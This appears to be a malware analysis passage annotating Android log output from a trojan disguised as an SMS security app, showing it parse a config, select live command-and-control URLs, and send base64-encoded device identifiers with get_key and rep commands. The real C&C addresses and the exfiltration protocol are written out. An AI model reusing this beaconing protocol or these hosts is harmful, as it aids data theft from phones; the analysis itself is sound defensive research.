11-17 12:30:24.678: I/ActivityManager(778): Displayed org.thoughtcrime.securesms/.FirstActivity: +281ms (total +664ms)

11-17 12:30:29.349: I/ActivityManager(778): Start proc 24738:org.thoughtcrime.securesms:remote/u0a117 for broadcast org.thoughtcrime.securesms/.xservices.XUpdate

11-17 12:30:29.410: I/ActivityManager(778): START u0 {flg=0x10020000 cmp=org.thoughtcrime.securesms/.xpack.ActDefault} from uid 10117 on display 0

11-17 12:30:29.416: V/WindowManager(778): addAppToken: AppWindowToken{3c579bf0 token=Token{79d7c33 ActivityRecord{397777a2 u0 org.thoughtcrime.securesms/.xpack.ActDefault t90}}} to stack=1 task=90 at 1

11-17 12:30:29.444: V/WindowManager(778): Adding window Window{15796bee u0 org.thoughtcrime.securesms/org.thoughtcrime.securesms.xpack.ActDefault} at 6 of 12 (after Window{cca1131 u0 org.thoughtcrime.securesms/org.thoughtcrime.securesms.FirstActivity})

11-17 12:30:29.510: I/ActivityManager(778): Displayed org.thoughtcrime.securesms/.xpack.ActDefault: +90ms

Logs while the malware is communicating with the C&C

In the screenshot below there are some of the logs generated by the malicious APK. In any, case I am going to describe a bit about the process (in green)

11-17 12:30:24.222: D/[SmsSecure]:myFunctions:sendLog(24690): [START] Service started  -> The service is started

11-17 12:30:24.223: D/[SmsSecure]:myFunction.isHasBuffer(24690): use_url_main=''

11-17 12:30:24.223: D/[SmsSecure]:myFunction.isHasBuffer(24690): use_url_main.length()='0'

11-17 12:30:29.397: D/[SmsSecure]:XUpdate(24738): Update

11-17 12:30:29.408: D/[SmsSecure]:XUpdate(24738): Need Default APP

11-17 12:30:29.441: D/[SmsSecure]:SERVICE:XRepeatSms(24738): Timed alarm onReceive() started at time: 2015-11-17 12:30:29.439

11-17 12:30:29.451: D/[SmsSecure]:SERVICE:XRepeatSms(24738): doInBackground

11-17 12:30:29.454: D/[SmsSecure]:myFunction.isHasBuffer(24738): use_url_main=''

11-17 12:30:29.454: D/[SmsSecure]:myFunction.isHasBuffer(24738): use_url_main.length()='0'

11-17 12:30:29.454: D/[SmsSecure]:SERVICE:XRepeatSms(24738): !isHasBuffer={true}

11-17 12:30:29.455: D/[SmsSecure]:myFunction.isHasBuffer(24738): use_url_main=''

11-17 12:30:29.455: D/[SmsSecure]:myFunction.isHasBuffer(24738): use_url_main.length()='0'

11-17 12:30:29.455: D/[SmsSecure]:SERVICE:XRepeatSms(24738): myFunctions.getFirst()

11-17 12:30:29.457: D/[SmsSecure]:myFunctions:getFirst(24738): RID=0

11-17 12:30:29.457: D/[SmsSecure]:myFunctions:getFirst(24738): RID=0; Start -> Method in charge of getting the initial configuration. This is an XML file

11-17 12:30:29.470: D/[SmsSecure]:myFunctions:parseXml(24738): <?xml version="1.0" encoding="utf-8"?> -> Method to parse the XML file

11-17 12:30:29.470: D/[SmsSecure]:myFunctions:parseXml(24738):           <config>

11-17 12:30:29.470: D/[SmsSecure]:myFunctions:parseXml(24738):             <data rid="25" 

11-17 12:30:29.470: D/[SmsSecure]:myFunctions:parseXml(24738):                   shnum10="" shtext10="" shnum5="" shtext5="" shnum3="" shtext3="" shnum1="" shtext1="" 

11-17 12:30:29.470: D/[SmsSecure]:myFunctions:parseXml(24738):                   del_dev="0" 

11-17 12:30:29.470: D/[SmsSecure]:myFunctions:parseXml(24738):                   url_main="http://www.mgattiswil.ch/stadl/main.php;http://www.ableitner.co.at/manufaktur/main.php" -> The C&C URLs stored in the field url_main (there are 2)

11-17 12:30:29.470: D/[SmsSecure]:myFunctions:parseXml(24738):                   url_data="" 

11-17 12:30:29.470: D/[SmsSecure]:myFunctions:parseXml(24738):                   url_sms="" 

11-17 12:30:29.470: D/[SmsSecure]:myFunctions:parseXml(24738):                   url_log="" 

11-17 12:30:29.470: D/[SmsSecure]:myFunctions:parseXml(24738):                   phone_number="" 

11-17 12:30:29.470: D/[SmsSecure]:myFunctions:parseXml(24738):   

11-17 12:30:29.470: D/[SmsSecure]:myFunctions:parseXml(24738):  download_domain="ttt" 

11-17 12:30:29.470: D/[SmsSecure]:myFunctions:parseXml(24738):                   ready_to_bind="0" />

11-17 12:30:29.470: D/[SmsSecure]:myFunctions:parseXml(24738):             

11-17 12:30:29.470: D/[SmsSecure]:myFunctions:parseXml(24738):           </config>

11-17 12:30:29.498: D/[SmsSecure]:myFunctions:parseXml(24738): RTB=0

> File finally parsed

11-17 12:30:29.514: D/[SmsSecure]:myFunctions:getFirst(24738): RID=25

11-17 12:30:29.514: D/[SmsSecure]:myFunctions:getFirst(24738): use_url_main=http://www.mgattiswil.ch/stadl/main.php -> The C&C selected (the first one selected from the existing 2)

11-17 12:30:29.514: D/[SmsSecure]:myFunctions:getFirst(24738): Key not found -> Some Key is not found. 

11-17 12:30:29.514: D/[SmsSecure]:Gate:getKey(24738): Start

11-17 12:30:29.543: D/[SmsSecure]:Gate:sendRequest(24738): sInput=a:4: {s:6:"device";s:738:  -> Send a request to the C&C "QXBwTmFtZT1aS0IgU21zU2VjdXJpdHk7ClZlcnNpb249My4xMDsKOwpEZWZhdWx0QXBwPU5vOwpB

11-17 12:30:29.543: D/[SmsSecure]:Gate:sendRequest(24738): -> This is the information from the device sent in the request

 ZG1pbj1ObzsKU2ltU3RhdGU9UkVBRFk7ClNpbUNvdW50cnlDb2RlPWNoOwpTaW1PcGVyYXRvckNv

11-17 12:30:29.543: D/[SmsSecure]:Gate:sendRequest(24738): ZGU9MjI4NTQ7ClNpbU9wZXJhdG9yTmFtZT1MeWNhbW9iaWxlOwpTaW1TZXJpYWxOdW1iZXI9ODk0

11-17 12:30:29.543: D/[SmsSecure]:Gate:sendRequest(24738): MTU0MDAxMDAyODU4MDgyMDsKUGhvbmVOdW1iZXI9OwpEZXZpY2VJTUVJPTM1ODI0MDA1MTkzMjU2

11-17 12:30:29.543: D/[SmsSecure]:Gate:sendRequest(24738): bGU7CkZJTkdFUlBSSU5UPWdvb2dsZS9oYW1tZXJoZWFkL2hhbW1lcmhlYWQ6NS4xLjEvTE1ZNDhJ

11-17 12:30:29.543: D/[SmsSecure]:Gate:sendRequest(24738): LzIwNzQ4NTU6dXNlci9yZWxlYXNlLWtleXM7Ck1BTlVGQUNUVVJFUj1MR0U7Ck1PREVMPU5leHVz

11-17 12:30:29.543: D/[SmsSecure]:Gate:sendRequest(24738): IDU7ClBST0RVQ1Q9aGFtbWVyaGVhZDsKT1NfSW5mbz1vcy5uYW1lOiBMaW51eCB8IG9zLmFyY2g6

11-17 12:30:29.543: D/[SmsSecure]:Gate:sendRequest(24738): IGFybXY3bCB8IG9zLnZlcnNpb246IDMuNC4wLWdiZWJiMzZiIHwgamF2YS52ZW5kb3I6IFRoZSBB

11-17 12:30:29.543: D/[SmsSecure]:Gate:sendRequest(24738): bmRyb2lkIFByb2plY3QgfCBqYXZhLnZlcnNpb246IDA=

11-17 12:30:29.543: D/[SmsSecure]:Gate:sendRequest(24738): 

";s:3:"cmd";s:7:"get_key";s:3:"rid";s:2:"25";s:4:"data";s:0:"";} -> Final C&C commands. Note the get_key command

11-17 12:30:29.543: D/[SmsSecure]:Gate:sendRequest(24738): Using crypt: Blowfish -> The information is encrypted with BlowFish

11-17 12:30:29.545: D/[SmsSecure]:Gate:getKey(24738): Key:

11-17 12:30:29.545: D/[SmsSecure]:SERVICE:XRepeatSms(24738): myFunctions.sendSmsLog("Online=OK")

11-17 12:30:29.545: D/[SmsSecure]:myFunctions:sendSmsLog(24738): Start

11-17 12:30:29.551: D/[SmsSecure]:myFunctions:sendSmsLog(24738): sNumber = ''

11-17 12:31:29.297: D/[SmsSecure]:XUpdate(24738): Update

11-17 12:31:29.321: D/[SmsSecure]:XUpdate(24738): Need Default APP

11-17 12:31:29.340: D/[SmsSecure]:myFunctions:getCheckedURL(24738): Check url: http://www.mgattiswil.ch/stadl/main.php -> Checking if the C&C is  up and running

11-17 12:31:30.044: D/[SmsSecure]:myFunctions:getCheckedURL(24738): resp=<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd"><html><head><title>404 - File Not Found</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"><style type="text/css"><!--.style {width: 500px;border: 1px solid #ddd;}.style1 {font-family: Verdana, Arial, Helvetica, sans-serif;font-size: 24px;color: #D70000;font-weight: bold;}.style2 {color: #FFFFFF;font-weight: bold;font-family: Verdana, Arial, Helvetica, sans-serif;}--></style></head><body><table border="0" align="center" class="style">  <tr>    <td width="304" bgcolor="#D70000"> <span class="style2">404 - File Not Found </span></td>  </tr>  <tr>    <td height="188"><div align="center"><span class="style1">Fichier non trouv&eacute;</span></div>    <div align="center"><span class="style1">Datei nicht gefunden</span></div>    <div align="center"><span class="style1">File not found</span></div></td>  </tr></table></body></html> -> HTML sent by the C&C. 

11-17 12:31:30.045: D/[SmsSecure]:myFunctions:getCheckedURL(24738): Check url: http://www.ableitner.co.at/manufaktur/main.php -> Checking if the second C&C is  up and running 

11-17 12:31:31.827: D/[SmsSecure]:myFunctions:getCheckedURL(24738): resp=OK -> The response is OK. This is what the malware was expecting

11-17 12:31:31.828: D/[SmsSecure]:myFunctions:getCheckedURL(24738): SET use_url_main=http://www.ableitner.co.at/manufaktur/main.php > The default C&C URL is changed to the working one

11-17 12:31:31.859: D/[SmsSecure]:myFunctions:sendLog(24738): [CONF] Check pull off urls

11-17 12:31:31.859: D/[SmsSecure]:myFunction.isHasBuffer(24738): use_url_main='http://www.ableitner.co.at/manufaktur/main.php'

11-17 12:31:31.860: D/[SmsSecure]:myFunction.isHasBuffer(24738): use_url_main.length()='46'

11-17 12:31:31.861: D/[SmsSecure]:myFunctions:getFirst(24738): RID=25

11-17 12:31:31.861: D/[SmsSecure]:myFunctions:getFirst(24738): RID=0; Start

11-17 12:31:31.881: D/[SmsSecure]:myFunctions:getFirst(24738): RID=25

11-17 12:31:31.882: D/[SmsSecure]:myFunctions:getFirst(24738): use_url_main=http://www.ableitner.co.at/manufaktur/main.php

11-17 12:31:31.882: D/[SmsSecure]:myFunctions:getFirst(24738): Key not found -> 

11-17 12:31:31.882: D/[SmsSecure]:Gate:getKey(24738): Start

11-17 12:31:31.920: D/[SmsSecure]:Gate:sendRequest(24738): sInput=a:4:{s:6:"device";s:738:"QXBwTmFtZT1aS0IgU21zU2VjdXJpdHk7ClZlcnNpb249My4xMDsKOwpEZWZhdWx0QXBwPU5vOwpB -> The process is repeated for the new C&C 

11-17 12:31:31.920: D/[SmsSecure]:Gate:sendRequest(24738): ZG1pbj1ObzsKU2ltU3RhdGU9UkVBRFk7ClNpbUNvdW50cnlDb2RlPWNoOwpTaW1PcGVyYXRvckNv

11-17 12:31:31.920: D/[SmsSecure]:Gate:sendRequest(24738): ZGU9MjI4NTQ7ClNpbU9wZXJhdG9yTmFtZT1MeWNhbW9iaWxlOwpTaW1TZXJpYWxOdW1iZXI9ODk0

11-17 12:31:31.920: D/[SmsSecure]:Gate:sendRequest(24738): MTU0MDAxMDAyODU4MDgyMDsKUGhvbmVOdW1iZXI9OwpEZXZpY2VJTUVJPTM1ODI0MDA1MTkzMjU2

11-17 12:31:31.920: D/[SmsSecure]:Gate:sendRequest(24738): LzIwNzQ4NTU6dXNlci9yZWxlYXNlLWtleXM7Ck1BTlVGQUNUVVJFUj1MR0U7Ck1PREVMPU5leHVz

11-17 12:31:31.920: D/[SmsSecure]:Gate:sendRequest(24738): IDU7ClBST0RVQ1Q9aGFtbWVyaGVhZDsKT1NfSW5mbz1vcy5uYW1lOiBMaW51eCB8IG9zLmFyY2g6

11-17 12:31:31.920: D/[SmsSecure]:Gate:sendRequest(24738): IGFybXY3bCB8IG9zLnZlcnNpb246IDMuNC4wLWdiZWJiMzZiIHwgamF2YS52ZW5kb3I6IFRoZSBB

11-17 12:31:31.920: D/[SmsSecure]:Gate:sendRequest(24738): bmRyb2lkIFByb2plY3QgfCBqYXZhLnZlcnNpb246IDA=

11-17 12:31:31.920: D/[SmsSecure]:Gate:sendRequest(24738): ";s:3:"cmd";s:7:"get_key";s:3:"rid";s:2:"25";s:4:"data";s:0:"";}

11-17 12:31:31.920: D/[SmsSecure]:Gate:sendRequest(24738): Using crypt: Blowfish

11-17 12:31:32.421: D/[SmsSecure]:Gate:sendRequest(24738): Response=3jfwJedaPDVEM5Lu89n7AFAslgKs6gAXh82zEgzgKYLMVXMOM+6msSlhg6q3WkTTPJLSv1vTf/czBakmUb+NvNMqvy4vHdFO1+FJFIBBTs82rPILwvUrIH02bZ/7DuO7lf1jCvs53mLbnD99cVv3r741SpR3WYdbg8vuT8TYM6/SX7BUPgyDvrHb7V2VZEJxABu984monif4RbhBQO9ZeTvDUAlRCHhacqyQYkO0i/0S1dxLYkKYQadIee4yBf3YCPNRF2FGKXZwG6E5N/dcMbRnGlDXSrFxZvKr6rEAefzngAwCRgcIhubVHZKo3aMfyXlhXkbRlIiyeVst0G0qgWbkD9yVtKUgXEwXV3gFoXEbfZkPkRbcnNCyV8McDL88rhW23qqeZW4Lq2NAGpybJWt4kY3FHza/8p6Wif52NC51t68YktvAW7BEgXBj7T/fGDXQjWAigjxCj1Chq9uzDxKEnbo+GY9h4ro8NEXy4uVQNxgU6hW3Ai1aEC/qYqHKZIpEp7KkL6CDfKAgqWTBQc9WSuIL6A8Ai4ksQAG2btfHxDvwkhEfQDRE/wFrABmYsJ1ln+VIWyRgvM3BX9V4I65Pn1C9NrVIQKVCC7ohMWmbwC2sAaNUgnR7lGty4R0jpwVQduTXrdIfNAlLOw1kl6LLDgXjfbQrkpJpnXnmFKWWfe4ir6fcArao2fFFKL11TrDoWG9KSLdRwGcnlj0vFvaasCARquwdaZHXnoXs3BQhEUfuvx8+xKhu125MM/9U0TAYLKE8cWz9QXsQEm+o00uXUjJ1vB+9sgbGF6TEpqQkRhghGvCB/DO6sw7AjJXF/QTQjZpzd3NRyKy0/ulXn0XVxuXEPQFOJ4JwYiiULPmH9mZE5xfwyzzVjXvzXpXSDX90c9akxItBkLADkjeixEatNo9Wl0gK7h5GScCzRMCJmzGXg4DAAA1SX1DgPPnFRmu9IKPIbwPz+xB6zjgMQNJdVxqKo9hYnObBk0Os89gQxlHvB1WoqwQ4q9Evb8nWE87eUDnXVQTX0sqL2myI8eBNPPogv8Fqm+WYWGMQAFmhwoVY9rjNRg== -> This is the response from the server.

11-17 12:31:32.425: D/[SmsSecure]:Gate:sendRequest(24738): Response=-----BEGIN PUBLIC KEY------> The response contains  a public key. 

11-17 12:31:32.425: D/[SmsSecure]:Gate:sendRequest(24738): MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA2ukQOm/tVXksvZwnbHgr

11-17 12:31:32.425: D/[SmsSecure]:Gate:sendRequest(24738): ZwbqyMl0A6QKobSfpku1qI15/p73bXl2K/loHcohfpnXBLpbka0uUBjU2qWiYkKb

11-17 12:31:32.425: D/[SmsSecure]:Gate:sendRequest(24738): 1zzgruzShUFUEeExkWck1Qz5dz4/i0uBlJ3z57LV/EnW8+sXsUEDp5AbKQ79Agxe

11-17 12:31:32.425: D/[SmsSecure]:Gate:sendRequest(24738): YAdLzs+UITAX5NIOmM+ktX79N/E9osBCcFfrVXDTt658EUvVSGGdoWF/Ey3x0LwX

11-17 12:31:32.425: D/[SmsSecure]:Gate:sendRequest(24738): sAonlknnhW4NQgFgxkS+ylGeZwb1Lb14gkStO8XdeKNoC1Lkptig7Dbp9rIrGHAR

11-17 12:31:32.425: D/[SmsSecure]:Gate:sendRequest(24738): KspzNN+mvIo22OikBNBsBReQSpfo4+RyGqyQrfEtQz8nFgqw79WtxYVt2MAGhsuz

11-17 12:31:32.425: D/[SmsSecure]:Gate:sendRequest(24738): ZW5p53TtKu0gaL5SWQiYF6jRODPIlmwsl52zhISON95zUiQC/lj8KxLunzIIowFF

11-17 12:31:32.425: D/[SmsSecure]:Gate:sendRequest(24738): 5J0wtg2wa+U60+R4PODt3YglM1VtKD+rkjjsfQrMBQlRw7z6OnDzHj0TD2GE4kI/

11-17 12:31:32.425: D/[SmsSecure]:Gate:sendRequest(24738): 6Ni75DGX6Nr4aGTRwBgCnM8+cIIpasy+TCTLudDMOWsIuLDI3bJtRbxVrISw2MaX

11-17 12:31:32.425: D/[SmsSecure]:Gate:sendRequest(24738): MzL50Y32A8FqdB2XjJxKf7LDAHq+/uKa8KPZC1MCOP/VCjXN9yJqzEzCnQ/hbvqP

11-17 12:31:32.425: D/[SmsSecure]:Gate:sendRequest(24738): s7BvmbBs0cBIg4tm/ToOYd1owIjZNEALfpOyD57AZqqQoaRtGeb5FsYsZ4wi7G1c

11-17 12:31:32.425: D/[SmsSecure]:Gate:sendRequest(24738): n48RJgarerA4a3wkK042fWMCAwEAAQ==

11-17 12:31:32.425: D/[SmsSecure]:Gate:sendRequest(24738): -----END PUBLIC KEY----- -> Final string from the public key

11-17 12:31:32.457: D/[SmsSecure]:Gate:getKey(24738): Key:

11-17 12:31:32.457: D/[SmsSecure]:Gate:getKey(24738): -----BEGIN PUBLIC KEY----- -> The 'key' field in the XML configuration file is setup with the public key received.

11-17 12:31:32.457: D/[SmsSecure]:Gate:getKey(24738): MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA2ukQOm/tVXksvZwnbHgr

11-17 12:31:32.457: D/[SmsSecure]:Gate:getKey(24738): ZwbqyMl0A6QKobSfpku1qI15/p73bXl2K/loHcohfpnXBLpbka0uUBjU2qWiYkKb

11-17 12:31:32.457: D/[SmsSecure]:Gate:getKey(24738): 1zzgruzShUFUEeExkWck1Qz5dz4/i0uBlJ3z57LV/EnW8+sXsUEDp5AbKQ79Agxe

11-17 12:31:32.457: D/[SmsSecure]:Gate:getKey(24738): YAdLzs+UITAX5NIOmM+ktX79N/E9osBCcFfrVXDTt658EUvVSGGdoWF/Ey3x0LwX

11-17 12:31:32.457: D/[SmsSecure]:Gate:getKey(24738): sAonlknnhW4NQgFgxkS+ylGeZwb1Lb14gkStO8XdeKNoC1Lkptig7Dbp9rIrGHAR

11-17 12:31:32.457: D/[SmsSecure]:Gate:getKey(24738): KspzNN+mvIo22OikBNBsBReQSpfo4+RyGqyQrfEtQz8nFgqw79WtxYVt2MAGhsuz

11-17 12:31:32.457: D/[SmsSecure]:Gate:getKey(24738): ZW5p53TtKu0gaL5SWQiYF6jRODPIlmwsl52zhISON95zUiQC/lj8KxLunzIIowFF

11-17 12:31:32.457: D/[SmsSecure]:Gate:getKey(24738): 5J0wtg2wa+U60+R4PODt3YglM1VtKD+rkjjsfQrMBQlRw7z6OnDzHj0TD2GE4kI/

11-17 12:31:32.457: D/[SmsSecure]:Gate:getKey(24738): 6Ni75DGX6Nr4aGTRwBgCnM8+cIIpasy+TCTLudDMOWsIuLDI3bJtRbxVrISw2MaX

11-17 12:31:32.457: D/[SmsSecure]:Gate:getKey(24738): MzL50Y32A8FqdB2XjJxKf7LDAHq+/uKa8KPZC1MCOP/VCjXN9yJqzEzCnQ/hbvqP

11-17 12:31:32.457: D/[SmsSecure]:Gate:getKey(24738): s7BvmbBs0cBIg4tm/ToOYd1owIjZNEALfpOyD57AZqqQoaRtGeb5FsYsZ4wi7G1c

11-17 12:31:32.457: D/[SmsSecure]:Gate:getKey(24738): n48RJgarerA4a3wkK042fWMCAwEAAQ==

11-17 12:31:32.457: D/[SmsSecure]:Gate:getKey(24738): -----END PUBLIC KEY-----

11-17 12:31:32.478: D/[SmsSecure]:myFunctions:getSecond(24738): use_url_main=http://www.ableitner.co.at/manufaktur/main.php

11-17 12:31:32.499: D/[SmsSecure]:Gate:sendRequest(24738): sInput=a:4:{s:6:"device";s:738:"QXBwTmFtZT1aS0IgU21zU2VjdXJpdHk7ClZlcnNpb249My4xMDsKOwpEZWZhdWx0QXBwPU5vOwpB

11-17 12:31:32.499: D/[SmsSecure]:Gate:sendRequest(24738): ZG1pbj1ObzsKU2ltU3RhdGU9UkVBRFk7ClNpbUNvdW50cnlDb2RlPWNoOwpTaW1PcGVyYXRvckNv

11-17 12:31:32.499: D/[SmsSecure]:Gate:sendRequest(24738): ZGU9MjI4NTQ7ClNpbU9wZXJhdG9yTmFtZT1MeWNhbW9iaWxlOwpTaW1TZXJpYWxOdW1iZXI9ODk0

11-17 12:31:32.499: D/[SmsSecure]:Gate:sendRequest(24738): MTU0MDAxMDAyODU4MDgyMDsKUGhvbmVOdW1iZXI9OwpEZXZpY2VJTUVJPTM1ODI0MDA1MTkzMjU2

11-17 12:31:32.499: D/[SmsSecure]:Gate:sendRequest(24738): NDsKU3Vic2NyaWJlcklkPTIyODU0MDAwMjg1ODA4MjsKTkVUV09SSz13aWZpOwpCUkFORD1nb29n

11-17 12:31:32.499: D/[SmsSecure]:Gate:sendRequest(24738): bGU7CkZJTkdFUlBSSU5UPWdvb2dsZS9oYW1tZXJoZWFkL2hhbW1lcmhlYWQ6NS4xLjEvTE1ZNDhJ

11-17 12:31:32.499: D/[SmsSecure]:Gate:sendRequest(24738): LzIwNzQ4NTU6dXNlci9yZWxlYXNlLWtleXM7Ck1BTlVGQUNUVVJFUj1MR0U7Ck1PREVMPU5leHVz

11-17 12:31:32.499: D/[SmsSecure]:Gate:sendRequest(24738): IDU7ClBST0RVQ1Q9aGFtbWVyaGVhZDsKT1NfSW5mbz1vcy5uYW1lOiBMaW51eCB8IG9zLmFyY2g6

11-17 12:31:32.499: D/[SmsSecure]:Gate:sendRequest(24738): IGFybXY3bCB8IG9zLnZlcnNpb246IDMuNC4wLWdiZWJiMzZiIHwgamF2YS52ZW5kb3I6IFRoZSBB

11-17 12:31:32.499: D/[SmsSecure]:Gate:sendRequest(24738): bmRyb2lkIFByb2plY3QgfCBqYXZhLnZlcnNpb246IDA=

11-17 12:31:32.499: D/[SmsSecure]:Gate:sendRequest(24738): ";s:3:"cmd";s:3:"rep";s:3:"rid";s:2:"25";s:4:"data";s:0:"";} -> New command sent to the C&C

11-17 12:31:32.499: D/[SmsSecure]:Gate:sendRequest(24738): Using crypt: SSL -> it uses SSL now to communicate with the C&C (using the public key stored)

11-17 12:31:33.248: D/[SmsSecure]:Gate:sendRequest(24738): Response=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

